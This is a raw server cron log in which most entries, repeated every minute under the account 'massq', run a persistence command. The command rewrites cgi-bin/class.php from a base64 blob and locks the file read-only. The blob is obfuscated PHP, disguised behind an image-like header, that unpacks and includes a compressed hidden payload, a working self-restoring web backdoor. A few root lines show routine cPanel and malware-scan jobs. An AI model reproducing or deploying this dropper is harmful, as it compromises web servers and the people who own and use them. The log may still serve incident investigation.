Nov 11 04:40:01 server CROND[24546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:40:01 server CROND[24548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:40:01 server CROND[24549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:41:01 server CROND[25407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:42:01 server CROND[26236]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 04:42:01 server CROND[26237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:43:01 server CROND[27153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:44:01 server CROND[27959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:45:01 server CROND[28707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:45:01 server CROND[28708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:45:01 server CROND[28709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:46:01 server CROND[29587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:47:01 server CROND[30404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:48:01 server CROND[31456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:49:01 server CROND[31742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:50:01 server CROND[32599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 04:50:01 server CROND[32601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:50:01 server CROND[32605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:50:01 server CROND[32604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 04:50:01 server CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:51:01 server CROND[1040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:52:01 server CROND[1674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
